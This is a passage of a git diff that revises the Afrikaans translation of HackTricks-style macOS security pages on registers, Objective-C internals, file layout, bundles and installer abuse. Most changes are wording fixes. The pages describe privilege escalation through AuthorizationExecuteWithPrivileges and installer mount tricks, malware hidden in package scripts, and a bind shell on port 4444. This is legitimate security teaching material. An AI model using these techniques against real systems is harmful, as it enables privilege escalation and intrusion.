te maak as om syscalls te gebruik vir kerndienste wat so baie gebruik word dat hierdie oorgang baie ondoeltreffend sou wees. Byvoorbeeld, die oproep `gettimeofdate` lees die waarde van `timeval` direk van die comm bladsy. ### objc_msgSend -Dit is baie algemeen om hierdie funksie in Objective-C of Swift programme te vind. Hierdie funksie stel jou in staat om 'n metode van 'n Objective-C objek aan te roep. +Dit is baie algemeen om hierdie funksie in Objective-C of Swift programme te vind. Hierdie funksie laat jou toe om 'n metode van 'n Objective-C objek aan te roep. Parameters ([meer inligting in die dokumentasie](https://developer.apple.com/documentation/objectivec/1456712-objc_msgsend)): - x0: self -> Wys na die instansie - x1: op -> Selektor van die metode -- x2... -> Res van die argumente van die aangeroep metode +- x2... -> Res van die argumente van die aangeroepte metode So, as jy 'n breekpunt voor die tak na hierdie funksie plaas, kan jy maklik vind wat in lldb aangeroep word (in hierdie voorbeeld roep die objek 'n objek van `NSConcreteTask` aan wat 'n opdrag sal uitvoer): ```bash @@ -373,12 +373,12 @@ whoami > > Boonop, deur **`OBJC_HELP=1`** in te stel en enige binêre aan te roep, kan jy ander omgewing veranderlikes sien wat jy kan gebruik om **log** te maak wanneer sekere Objc-C aksies plaasvind. -Wanneer hierdie funksie aangeroep word, is dit nodig om die aangeroepte metode van die aangeduide instansie te vind, hiervoor word verskillende soektogte gemaak: +Wanneer hierdie funksie aangeroep word, is dit nodig om die aangeroepte metode van die aangeduide instansie te vind, hiervoor word verskillende soektogte gedoen: - Voer optimistiese kassoektog uit: - As suksesvol, klaar - Verkry runtimeLock (lees) -- As (realize && !cls->realized) realiseer klas +- As (realiseer && !cls->realized) realiseer klas - As (initialize && !cls->initialized) inisieer klas - Probeer klas se eie kas: - As suksesvol, klaar @@ -389,7 +389,7 @@ Wanneer hierdie funksie aangeroep word, is dit nodig om die aangeroepte metode v - Probeer superklas metode lys: - As gevind, vul kas en klaar - As (resolver) probeer metode resolver, en herhaal vanaf klas soektog -- As ek nog hier is (= alles anders het gefaal) probeer voortsetter +- As ek nog hier is (= alles anders het gefaal) probeer voorwaarts ### Shellcodes diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/introduction-to-x64.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/introduction-to-x64.md index 4d1be713e..be99029be 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/introduction-to-x64.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/introduction-to-x64.md @@ -8,23 +8,23 @@ x64, ook bekend as x86-64, is 'n 64-bis verwerker argitektuur wat hoofsaaklik in ### **Registers** -x64 brei op die x86 argitektuur uit, met **16 algemene doeleindes registers** gemerk as `rax`, `rbx`, `rcx`, `rdx`, `rbp`, `rsp`, `rsi`, `rdi`, en `r8` tot `r15`. Elke een van hierdie kan 'n **64-bis** (8-byte) waarde stoor. Hierdie registers het ook 32-bis, 16-bis, en 8-bis sub-registers vir kompatibiliteit en spesifieke take. +x64 brei op die x86 argitektuur uit, met **16 algemene registers** gemerk as `rax`, `rbx`, `rcx`, `rdx`, `rbp`, `rsp`, `rsi`, `rdi`, en `r8` tot `r15`. Elke een van hierdie kan 'n **64-bis** (8-byte) waarde stoor. Hierdie registers het ook 32-bis, 16-bis, en 8-bis sub-registers vir kompatibiliteit en spesifieke take. -1. **`rax`** - Tradisioneel gebruik vir **terugwaardes** van funksies. +1. **`rax`** - Tradisioneel gebruik vir **terugkeerwaardes** van funksies. 2. **`rbx`** - Gereeld gebruik as 'n **basisregister** vir geheue operasies. 3. **`rcx`** - Gewoonlik gebruik vir **lus tellers**. -4. **`rdx`** - Gebruik in verskeie rolle insluitend uitgebreide wiskundige operasies. +4. **`rdx`** - Gebruik in verskeie rolle insluitend uitgebreide aritmetiese operasies. 5. **`rbp`** - **Basisaanwyser** vir die stapelraam. 6. **`rsp`** - **Stapelaanwyser**, wat die bokant van die stapel dop hou. 7. **`rsi`** en **`rdi`** - Gebruik vir **bron** en **bestemming** indekse in string/geheue operasies. -8. **`r8`** tot **`r15`** - Bykomende algemene doeleindes registers wat in x64 bekendgestel is. +8. **`r8`** tot **`r15`** - Bykomende algemene registers wat in x64 bekendgestel is. ### **Aanroep Konvensie** Die x64 aanroep konvensie verskil tussen bedryfstelsels. Byvoorbeeld: -- **Windows**: Die eerste **vier parameters** word in die registers **`rcx`**, **`rdx`**, **`r8`**, en **`r9`** oorgedra. Verdere parameters word op die stapel geplaas. Die terugwaarde is in **`rax`**. -- **System V (gewoonlik gebruik in UNIX-agtige stelsels)**: Die eerste **ses heelgetal of aanwyser parameters** word in registers **`rdi`**, **`rsi`**, **`rdx`**, **`rcx`**, **`r8`**, en **`r9`** oorgedra. Die terugwaarde is ook in **`rax`**. +- **Windows**: Die eerste **vier parameters** word in die registers **`rcx`**, **`rdx`**, **`r8`**, en **`r9`** oorgedra. Verdere parameters word op die stapel geplaas. Die terugkeerwaarde is in **`rax`**. +- **System V (gewoonlik gebruik in UNIX-agtige stelsels)**: Die eerste **ses heelgetal of aanwyser parameters** word in registers **`rdi`**, **`rsi`**, **`rdx`**, **`rcx`**, **`r8`**, en **`r9`** oorgedra. Die terugkeerwaarde is ook in **`rax`**. As die funksie meer as ses invoere het, sal die **oorige op die stapel oorgedra word**. **RSP**, die stapelaanwyser, moet **16 bytes uitgelijnd** wees, wat beteken dat die adres waarheen dit wys, deelbaar moet wees deur 16 voordat enige aanroep plaasvind. Dit beteken dat ons normaalweg moet verseker dat RSP behoorlik uitgelijnd is in ons shellcode voordat ons 'n funksie aanroep. In praktyk werk stelselaanroepe egter baie keer selfs al word hierdie vereiste nie nagekom nie. @@ -280,7 +280,7 @@ touch_command: db "touch /tmp/lalala", 0 ``` #### Bind shell -Bind shell van [https://packetstormsecurity.com/files/151731/macOS-TCP-4444-Bind-Shell-Null-Free-Shellcode.html](https://packetstormsecurity.com/files/151731/macOS-TCP-4444-Bind-Shell-Null-Free-Shellcode.html) in **port 4444** +Bind shell van [https://packetstormsecurity.com/files/151731/macOS-TCP-4444-Bind-Shell-Null-Free-Shellcode.html](https://packetstormsecurity.com/files/151731/macOS-TCP-4444-Bind-Shell-Null-Free-Shellcode.html) in **poort 4444** ```armasm section .text global _main diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/objects-in-memory.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/objects-in-memory.md index 414955ccd..85f38df0b 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/objects-in-memory.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/objects-in-memory.md @@ -55,7 +55,7 @@ uintptr_t requiredAlignment; // Or in _kCFRuntimeRequiresAlignment in the .versi ``` ## Objective-C -### Geheue seksies wat gebruik word +### Geheue seksies gebruik Die meeste van die data wat deur die ObjectiveC runtime gebruik word, sal tydens die uitvoering verander, daarom gebruik dit 'n paar seksies van die **\_\_DATA** segment in geheue: @@ -84,8 +84,8 @@ Dit gebruik ook 'n paar seksies in die **`__TEXT`** segment om konstante waardes Objective-C gebruik 'n paar mangeling om selektor en veranderlike tipes van eenvoudige en komplekse tipes te kodeer: -- Primitive tipes gebruik die eerste letter van die tipe `i` vir `int`, `c` vir `char`, `l` vir `long`... en gebruik die hoofletter in die geval dit ongetekend is (`L` vir `unsigned Long`). -- Ander datatipes waarvan die letters gebruik word of spesiaal is, gebruik ander letters of simbole soos `q` vir `long long`, `b` vir `bitfields`, `B` vir `booleans`, `#` vir `klas`, `@` vir `id`, `*` vir `char wysigers`, `^` vir generiese `wysigers` en `?` vir `onbepaald`. +- Primitive tipes gebruik die eerste letter van die tipe `i` vir `int`, `c` vir `char`, `l` vir `long`... en gebruik die hoofletter in geval dit ongetekend is (`L` vir `unsigned Long`). +- Ander datatipes waarvan die letters gebruik word of spesiaal is, gebruik ander letters of simbole soos `q` vir `long long`, `b` vir `bitfields`, `B` vir `booleans`, `#` vir `klas`, `@` vir `id`, `*` vir `char wysigers`, `^` vir generiese `wysigers` en `?` vir `onbepaalde`. - Arrays, strukture en unies gebruik `[`, `{` en `(` #### Voorbeeld Metode Deklarasie @@ -116,7 +116,7 @@ Die volledige tipe kodering vir die metode is: ### **Klasse** -Klasse in Objective-C is 'n struktuur met eienskappe, metode wysers... Dit is moontlik om die struktuur `objc_class` in die [**bron kode**](https://opensource.apple.com/source/objc4/objc4-756.2/runtime/objc-runtime-new.h.auto.html): +Klasse in Objective-C is 'n struktuur met eienskappe, metode wysers... Dit is moontlik om die struktuur `objc_class` in die [**bron kode**](https://opensource.apple.com/source/objc4/objc4-756.2/runtime/objc-runtime-new.h.auto.html) te vind: ```objectivec struct objc_class : objc_object { // Class ISA; diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/README.md index cc5e6c15f..71ec99625 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/README.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/README.md @@ -9,8 +9,8 @@ - **/cores**: As dit bestaan, word dit gebruik om kernaflae te stoor - **/dev**: Alles word as 'n lêer behandel, so jy mag hardeware toestelle hier gestoor sien. - **/etc**: Konfigurasielêers -- **/Library**: 'n Baie aantal submappes en lêers wat verband hou met voorkeure, kas en logboeke kan hier gevind word. 'n Biblioteekmap bestaan in die wortel en op elke gebruiker se gids. -- **/private**: Nie gedokumenteer nie, maar baie van die genoemde mappes is simboliese skakels na die privaat gids. +- **/Library**: 'n Baie aantal submappes en lêers wat verband hou met voorkeure, kaste en logboeke kan hier gevind word. 'n Biblioteekmap bestaan in die wortel en op elke gebruiker se gids. +- **/private**: Ondokumenteer, maar baie van die genoemde mappes is simboliese skakels na die privaat gids. - **/sbin**: Essensiële stelselbinaries (verwant aan administrasie) - **/System**: Lêer om OS X te laat loop. Jy behoort meestal net Apple spesifieke lêers hier te vind (nie derdeparty nie). - **/tmp**: Lêers word na 3 dae verwyder (dit is 'n sagte skakel na /private/tmp) @@ -18,7 +18,7 @@ - **/usr**: Konfig en stelselbinaries - **/var**: Log lêers - **/Volumes**: Die gemonteerde skywe sal hier verskyn. -- **/.vol**: Deur `stat a.txt` te loop, kry jy iets soos `16777223 7545753 -rw-r--r-- 1 username wheel ...` waar die eerste nommer die id-nommer van die volume is waar die lêer bestaan en die tweede die inode-nommer is. Jy kan die inhoud van hierdie lêer deur /.vol/ met daardie inligting verkry deur `cat /.vol/16777223/7545753` te loop. +- **/.vol**: Deur `stat a.txt` te loop, kry jy iets soos `16777223 7545753 -rw-r--r-- 1 username wheel ...` waar die eerste nommer die id-nommer van die volume is waar die lêer bestaan en die tweede een die inode-nommer is. Jy kan die inhoud van hierdie lêer deur /.vol/ met daardie inligting verkry deur `cat /.vol/16777223/7545753` te loop. ### Toepassings Mappes @@ -49,20 +49,20 @@ macos-installers-abuse.md - **`.dmg`**: Apple Disk Image lêers is baie algemeen vir installers. - **`.kext`**: Dit moet 'n spesifieke struktuur volg en dit is die OS X weergawe van 'n bestuurder. (dit is 'n bundel) -- **`.plist`**: Ook bekend as eiendom lys stoor inligting in XML of binêre formaat. +- **`.plist`**: Ook bekend as eiendomslêer wat inligting in XML of binêre formaat stoor. - Kan XML of binêr wees. Binêre kan gelees word met: - `defaults read config.plist` - `/usr/libexec/PlistBuddy -c print config.plsit` - `plutil -p ~/Library/Preferences/com.apple.screensaver.plist` - `plutil -convert xml1 ~/Library/Preferences/com.apple.screensaver.plist -o -` - `plutil -convert json ~/Library/Preferences/com.apple.screensaver.plist -o -` -- **`.app`**: Apple toepassings wat die gidsstruktuur volg (Dit is 'n bundel). +- **`.app`**: Apple toepassings wat die gidsstruktuur volg (dit is 'n bundel). - **`.dylib`**: Dinamiese biblioteke (soos Windows DLL lêers) - **`.pkg`**: Is dieselfde as xar (eXtensible Archive formaat). Die installer opdrag kan gebruik word om die inhoud van hierdie lêers te installeer. -- **`.DS_Store`**: Hierdie lêer is op elke gids, dit stoor die eienskappe en aanpassings van die gids. +- **`.DS_Store`**: Hierdie lêer is in elke gids, dit stoor die eienskappe en aanpassings van die gids. - **`.Spotlight-V100`**: Hierdie gids verskyn op die wortelgids van elke volume op die stelsel. - **`.metadata_never_index`**: As hierdie lêer op die wortel van 'n volume is, sal Spotlight daardie volume nie indekseer nie. -- **`.noindex`**: Lêers en mappes met hierdie uitbreiding sal nie deur Spotlight geïndekseer word nie. +- **`.noindex`**: Lêers en gidse met hierdie uitbreiding sal nie deur Spotlight geïndekseer word nie. - **`.sdef`**: Lêers binne bundels wat spesifiseer hoe dit moontlik is om met die toepassing van 'n AppleScript te kommunikeer. ### macOS Bundels @@ -80,7 +80,7 @@ Op macOS (en iOS) is alle stelsel gedeelde biblioteke, soos raamwerke en dylibs, Dit is geleë in macOS in `/System/Volumes/Preboot/Cryptexes/OS/System/Library/dyld/` en in ouer weergawes mag jy die **gedeelde kas** in **`/System/Library/dyld/`** vind.\ In iOS kan jy dit in **`/System/Library/Caches/com.apple.dyld/`** vind. -Soos die dyld gedeelde kas, is die kernel en die kernel uitbreidings ook saamgecompileer in 'n kernel kas, wat by opstarttyd gelaai word. +Soos die dyld gedeelde kas, is die kernel en die kernel uitbreidings ook saamgekompyleer in 'n kernel kas, wat by opstarttyd gelaai word. Om die biblioteke uit die enkele lêer dylib gedeelde kas te onttrek, was dit moontlik om die binêre [dyld_shared_cache_util](https://www.mbsplugins.de/files/dyld_shared_cache_util-dyld-733.8.zip) te gebruik wat dalk nie vandag werk nie, maar jy kan ook [**dyldextractor**](https://github.com/arandomdev/dyldextractor) gebruik: ```bash @@ -100,7 +100,7 @@ dyldex_all [dyld_shared_cache_path] # Extract all Sommige ekstraktors sal nie werk nie aangesien dylibs vooraf gekoppel is met hard-gecodeerde adresse, daarom kan hulle na onbekende adresse spring. > [!TIP] -> Dit is ook moontlik om die Gedeelde Biblioteekkas van ander \*OS toestelle in macos af te laai deur 'n emulator in Xcode te gebruik. Hulle sal binne afgelaai word: ls `$HOME/Library/Developer/Xcode/<*>OS\ DeviceSupport//Symbols/System/Library/Caches/com.apple.dyld/`, soos: `$HOME/Library/Developer/Xcode/iOS\ DeviceSupport/14.1\ (18A8395)/Symbols/System/Library/Caches/com.apple.dyld/dyld_shared_cache_arm64` +> Dit is ook moontlik om die Gedeelde Biblioteek Kaste van ander \*OS toestelle in macos af te laai deur 'n emulator in Xcode te gebruik. Hulle sal binne afgelaai word: ls `$HOME/Library/Developer/Xcode/<*>OS\ DeviceSupport//Symbols/System/Library/Caches/com.apple.dyld/`, soos: `$HOME/Library/Developer/Xcode/iOS\ DeviceSupport/14.1\ (18A8395)/Symbols/System/Library/Caches/com.apple.dyld/dyld_shared_cache_arm64` ### Mapping SLC @@ -114,7 +114,7 @@ Branch pools is klein Mach-O dylibs wat klein ruimtes tussen beeldmappings skep Gebruik die omgewingsveranderlikes: -- **`DYLD_DHARED_REGION=private DYLD_SHARED_CACHE_DIR= DYLD_SHARED_CACHE_DONT_VALIDATE=1`** -> Dit sal toelaat om 'n nuwe gedeelde biblioteekkas te laai. +- **`DYLD_DHARED_REGION=private DYLD_SHARED_CACHE_DIR= DYLD_SHARED_CACHE_DONT_VALIDATE=1`** -> Dit sal toelaat om 'n nuwe gedeelde biblioteek kas te laai. - **`DYLD_SHARED_CACHE_DIR=avoid`** en vervang handmatig die biblioteke met symlinks na die gedeelde kas met die werklike een (jy sal dit moet ekstrak). ## Spesiale Lêer Toestemmings @@ -127,10 +127,10 @@ In 'n **gids**, **lees** laat jou toe om dit te **lys**, **skryf** laat jou toe Daar is 'n paar vlag wat in die lêers gestel kan word wat die lêer anders kan laat optree. Jy kan die **vlag** van die lêers binne 'n gids nagaan met `ls -lO /path/directory` -- **`uchg`**: Bekend as **uchange** vlag sal **enige aksie** wat die **lêer** verander of verwyder, **voorkom**. Om dit in te stel, doen: `chflags uchg file.txt` -- Die wortelgebruiker kan die **vlag verwyder** en die lêer wysig. +- **`uchg`**: Bekend as **uchange** vlag sal **enige aksie** wat die **lêer** verander of verwyder, **voorkom**. Om dit te stel, doen: `chflags uchg file.txt` +- Die wortel gebruiker kan die **vlag verwyder** en die lêer wysig. - **`restricted`**: Hierdie vlag maak die lêer **beskerm deur SIP** (jy kan nie hierdie vlag aan 'n lêer toevoeg nie). -- **`Sticky bit`**: As 'n gids met sticky bit, kan **slegs** die **gids se eienaar of wortel lêers hernoem of verwyder**. Tipies word dit op die /tmp gids gestel om gewone gebruikers te verhoed om ander gebruikers se lêers te verwyder of te skuif. +- **`Sticky bit`**: As 'n gids met sticky bit, **slegs** die **gids eienaar of wortel kan hernoem of verwyder** lêers. Tipies word dit op die /tmp gids gestel om gewone gebruikers te verhoed om ander gebruikers se lêers te verwyder of te skuif. Al die vlae kan in die lêer `sys/stat.h` gevind word (vind dit met `mdfind stat.h | grep stat.h`) en is: @@ -138,9 +138,9 @@ Al die vlae kan in die lêer `sys/stat.h` gevind word (vind dit met `mdfind stat - `UF_NODUMP` 0x00000001: Moet nie lêer dump nie. - `UF_IMMUTABLE` 0x00000002: Lêer mag nie verander word nie. - `UF_APPEND` 0x00000004: Skrywe na lêer mag slegs bygevoeg word. -- `UF_OPAQUE` 0x00000008: Gids is ondoorgrondelik ten opsigte van unie. +- `UF_OPAQUE` 0x00000008: Gids is ondoorgrondelik ten opsigte van. unie. - `UF_COMPRESSED` 0x00000020: Lêer is gecomprimeer (sommige lêerstelsels). -- `UF_TRACKED` 0x00000040: Geen kennisgewings vir verwyderings/hernames vir lêers met hierdie ingestel nie. +- `UF_TRACKED` 0x00000040: Geen kennisgewings vir verwyderings/hernoemings vir lêers met hierdie ingestel nie. - `UF_DATAVAULT` 0x00000080: Regte vereis vir lees en skryf. - `UF_HIDDEN` 0x00008000: Wenke dat hierdie item nie in 'n GUI vertoon moet word nie. - `SF_SUPPORTED` 0x009f0000: Masker van supergebruiker ondersteun vlae. @@ -152,14 +152,14 @@ Al die vlae kan in die lêer `sys/stat.h` gevind word (vind dit met `mdfind stat - `SF_RESTRICTED` 0x00080000: Regte vereis vir skryf. - `SF_NOUNLINK` 0x00100000: Item mag nie verwyder, hernoem of gemonteer word nie. - `SF_FIRMLINK` 0x00800000: Lêer is 'n firmlink. -- `SF_DATALESS` 0x40000000: Lêer is 'n dataloos objek. +- `SF_DATALESS` 0x40000000: Lêer is 'n dataless objek. ### **Lêer ACLs** Lêer **ACLs** bevat **ACE** (Toegang Beheer Inskrywings) waar meer **fynere toestemmings** aan verskillende gebruikers toegeken kan word. Dit is moontlik om 'n **gids** hierdie toestemmings te gee: `lys`, `soek`, `voeg_lêer_by`, `voeg_subgids_by`, `verwyder_kind`, `verwyder_kind`.\ -En aan 'n **lêer**: `lees`, `skryf`, `voeg_by`, `uitvoer`. +En aan 'n **lêer**: `lees`, `skryf`, `byvoeg`, `uitvoer`. Wanneer die lêer ACLs bevat, sal jy **'n "+" vind wanneer jy die toestemmings lys soos in**: ```bash @@ -184,7 +184,7 @@ Uitgebreide attribuut het 'n naam en enige gewenste waarde, en kan gesien word m - `com.apple.quarantine`: MacOS: Gatekeeper kwarantynmeganisme (III/6) - `metadata:*`: MacOS: verskeie metadata, soos `_backup_excludeItem`, of `kMD*` - `com.apple.lastuseddate` (#PS): Laaste lêer gebruik datum -- `com.apple.FinderInfo`: MacOS: Finder inligting (bv., kleur Etikette) +- `com.apple.FinderInfo`: MacOS: Finder inligting (bv., kleur Tags) - `com.apple.TextEncoding`: Gee die tekskodering van ASCII tekslêers aan - `com.apple.logd.metadata`: Gebruik deur logd op lêers in `/var/db/diagnostics` - `com.apple.genstore.*`: Generasionele berging (`/.DocumentRevisions-V100` in die wortel van die lêerstelsel) @@ -235,7 +235,7 @@ universal-binaries-and-mach-o-format.md macos-memory-dumping.md {{#endref}} -## Risiko Kategorief lêers Mac OS +## Risiko Kategoriefiles Mac OS Die gids `/System/Library/CoreServices/CoreTypes.bundle/Contents/Resources/System` is waar inligting oor die **risiko geassosieer met verskillende lêer extensies gestoor word**. Hierdie gids kategoriseer lêers in verskillende risikoniveaus, wat beïnvloed hoe Safari hierdie lêers hanteer wanneer hulle afgelaai word. Die kategorieë is soos volg: @@ -248,7 +248,7 @@ Die gids `/System/Library/CoreServices/CoreTypes.bundle/Contents/Resources/Syste - **`$HOME/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV2`**: Bevat inligting oor afgelaaide lêers, soos die URL waarvandaan hulle afgelaai is. - **`/var/log/system.log`**: Hooflog van OSX stelsels. com.apple.syslogd.plist is verantwoordelik vir die uitvoering van syslogging (jy kan kyk of dit gedeaktiveer is deur te soek na "com.apple.syslogd" in `launchctl list`). -- **`/private/var/log/asl/*.asl`**: Dit is die Apple Stelsellogs wat interessante inligting kan bevat. +- **`/private/var/log/asl/*.asl`**: Dit is die Apple Stelsellogs wat dalk interessante inligting kan bevat. - **`$HOME/Library/Preferences/com.apple.recentitems.plist`**: Stoor onlangs toeganklike lêers en toepassings deur "Finder". - **`$HOME/Library/Preferences/com.apple.loginitems.plsit`**: Stoor items om te begin by stelselaanvang. - **`$HOME/Library/Logs/DiskUtility.log`**: Log lêer vir die DiskUtility App (inligting oor skywe, insluitend USB's). diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-bundles.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-bundles.md index c08498871..9f241423f 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-bundles.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-bundles.md @@ -17,9 +17,9 @@ Binne 'n bundle, veral binne die `.app/Contents/` gids, is 'n versk #### Belangrike Sleutels in Info.plist -Die `Info.plist` lêer is 'n hoeksteen vir toepassing konfigurasie, wat sleutels soos die volgende bevat: +Die `Info.plist` lêer is 'n hoeksteen vir toepassing konfigurasie, wat sleutels soos bevat: -- **CFBundleExecutable**: Gee die naam van die hoof uitvoerbare lêer wat in die `Contents/MacOS` gids geleë is. +- **CFBundleExecutable**: Gee die naam van die hoof uitvoerbare lêer geleë in die `Contents/MacOS` gids. - **CFBundleIdentifier**: Verskaf 'n globale identifiseerder vir die toepassing, wat wyd deur macOS vir toepassing bestuur gebruik word. - **LSMinimumSystemVersion**: Dui die minimum weergawe van macOS aan wat benodig word vir die toepassing om te loop. @@ -37,7 +37,7 @@ Benewens die algemene gidse, kan bundles ook insluit: - **PlugIns**: 'n Gids vir plug-ins en uitbreidings wat die toepassing se vermoëns verbeter. - **XPCServices**: Hou XPC dienste wat deur die toepassing gebruik word vir buite-proses kommunikasie. -Hierdie struktuur verseker dat alle nodige komponente binne die bundle ingesluit is, wat 'n modulaire en veilige toepassing omgewing fasiliteer. +Hierdie struktuur verseker dat al die nodige komponente binne die bundle ingesluit is, wat 'n modulaire en veilige toepassing omgewing fasiliteer. Vir meer gedetailleerde inligting oor `Info.plist` sleutels en hul betekenisse, bied die Apple ontwikkelaar dokumentasie uitgebreide hulpbronne: [Apple Info.plist Key Reference](https://developer.apple.com/library/archive/documentation/General/Reference/InfoPlistKeyReference/Introduction/Introduction.html). diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-installers-abuse.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-installers-abuse.md index 21dadc8da..a11e0317f 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-installers-abuse.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-installers-abuse.md @@ -14,7 +14,7 @@ Die pakketlêer self is 'n argief wat 'n **hiërargie van lêers en gidse bevat - **Verspreiding (xml)**: Aangepashede (titel, welkom teks…) en script/installasie kontroles - **PakketInligting (xml)**: Inligting, installasie vereistes, installasie ligging, paaie na scripts om uit te voer -- **Rekening van materiale (bom)**: Lys van lêers om te installeer, op te dateer of te verwyder met lêer toestemmings +- **Materiaalstaat (bom)**: Lys van lêers om te installeer, op te dateer of te verwyder met lêer toestemmings - **Payload (CPIO argief gzip gecomprimeer)**: Lêers om te installeer in die `install-location` van PakketInligting - **Scripts (CPIO argief gzip gecomprimeer)**: Voor- en na-installasie scripts en meer hulpbronne wat na 'n tydelike gids uitgehaal is vir uitvoering. @@ -39,7 +39,7 @@ Om die inhoud van die installeerder te visualiseer sonder om dit handmatig te de DMG-lêers, of Apple Disk Images, is 'n lêerformaat wat deur Apple se macOS vir skyfbeelde gebruik word. 'n DMG-lêer is in wese 'n **aansluitbare skyfbeeld** (dit bevat sy eie lêerstelsel) wat rou blokdata bevat wat tipies gecomprimeer en soms versleuteld is. Wanneer jy 'n DMG-lêer oopmaak, **aansluit macOS dit asof dit 'n fisiese skyf is**, wat jou toelaat om toegang tot die inhoud te verkry. > [!CAUTION] -> Let daarop dat **`.dmg`** installeerders **soveel formate** ondersteun dat sommige daarvan in die verlede wat kwesbaarhede bevat, misbruik is om **kernel kode-uitvoering** te verkry. +> Let daarop dat **`.dmg`** installeerders **soveel formate** ondersteun dat sommige daarvan in die verlede wat kwesbaarhede bevat het, misbruik is om **kernel kode-uitvoering** te verkry. ### Hiërargie @@ -61,7 +61,7 @@ As 'n vooraf of na-installasie skrip byvoorbeeld uitvoer vanaf **`/var/tmp/Insta ### AuthorizationExecuteWithPrivileges -Dit is 'n [openbare funksie](https://developer.apple.com/documentation/security/1540038-authorizationexecutewithprivileg) wat verskeie installeerders en opdaterings sal aanroep om **iets as root uit te voer**. Hierdie funksie aanvaar die **pad** van die **lêer** om **uit te voer** as parameter, egter, as 'n aanvaller hierdie lêer kan **wysig**, sal hy in staat wees om sy uitvoering met root te **misbruik** om **privilege te verhoog**. +Dit is 'n [openbare funksie](https://developer.apple.com/documentation/security/1540038-authorizationexecutewithprivileg) wat verskeie installeerders en opdaterings sal aanroep om **iets as root uit te voer**. Hierdie funksie aanvaar die **pad** van die **lêer** om te **uitvoer** as parameter, egter, as 'n aanvaller hierdie lêer kan **wysig**, sal hy in staat wees om sy uitvoering met root te **misbruik** om **privilege te verhoog**. ```bash # Breakpoint in the function to check wich file is loaded (lldb) b AuthorizationExecuteWithPrivileges @@ -69,9 +69,9 @@ Dit is 'n [openbare funksie](https://developer.apple.com/documentation/security/ ``` For more info check this talk: [https://www.youtube.com/watch?v=lTOItyjTTkw](https://www.youtube.com/watch?v=lTOItyjTTkw) -### Uitvoering deur montering +### Uitvoering deur te monteer -As 'n installer na `/tmp/fixedname/bla/bla` skryf, is dit moontlik om **'n montasie te skep** oor `/tmp/fixedname` sonder eienaars sodat jy **enige lêer tydens die installasie kan wysig** om die installasieproses te misbruik. +As 'n installer na `/tmp/fixedname/bla/bla` skryf, is dit moontlik om **'n monteer** oor `/tmp/fixedname` te skep met geen eienaars sodat jy **enige lêer tydens die installasie kan wysig** om die installasieproses te misbruik. 'n Voorbeeld hiervan is **CVE-2021-26089** wat daarin geslaag het om **'n periodieke skrip te oorskryf** om uitvoering as root te verkry. Vir meer inligting, kyk na die praatjie: [**OBTS v4.0: "Mount(ain) of Bugs" - Csaba Fitzl**](https://www.youtube.com/watch?v=jSYPazD4VcE) @@ -79,7 +79,7 @@ As 'n installer na `/tmp/fixedname/bla/bla` skryf, is dit moontlik om **'n monta ### Leë Payload -Dit is moontlik om net 'n **`.pkg`** lêer te genereer met **pre- en post-installasieskripte** sonder enige werklike payload behalwe die malware binne die skripte. +Dit is moontlik om net 'n **`.pkg`** lêer te genereer met **pre- en post-install skripte** sonder enige werklike payload behalwe die malware binne die skripte. ### JS in Verspreiding xml @@ -152,9 +152,9 @@ productbuild --distribution dist.xml --package-path myapp.pkg final-installer.pk ``` ## Verwysings -- [**DEF CON 27 - Ontsleuteling van Pkgs 'n Kyk Binne Macos Installer Pakkette en Algemene Sekuriteitsfoute**](https://www.youtube.com/watch?v=iASSG0_zobQ) +- [**DEF CON 27 - Ontpakking van Pkgs 'n Kyk Binne Macos Installer Pakkette en Algemene Sekuriteitsfoute**](https://www.youtube.com/watch?v=iASSG0_zobQ) - [**OBTS v4.0: "Die Wilde Wêreld van macOS Installeerders" - Tony Lambert**](https://www.youtube.com/watch?v=Eow5uNHtmIg) -- [**DEF CON 27 - Ontsleuteling van Pkgs 'n Kyk Binne MacOS Installer Pakkette**](https://www.youtube.com/watch?v=kCXhIYtODBg) +- [**DEF CON 27 - Ontpakking van Pkgs 'n Kyk Binne MacOS Installer Pakkette**](https://www.youtube.com/watch?v=kCXhIYtODBg) - [https://redteamrecipe.com/macos-red-teaming?utm_source=pocket_shared#heading-exploiting-installer-packages](https://redteamrecipe.com/macos-red-teaming?utm_source=pocket_shared#heading-exploiting-installer-packages) {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-memory-dumping.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-memory-dumping.md index 063cc557a..4517649e2 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-memory-dumping.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-memory-dumping.md @@ -6,7 +6,7 @@ ### Swap Lêers -Swap lêers, soos `/private/var/vm/swapfile0`, dien as 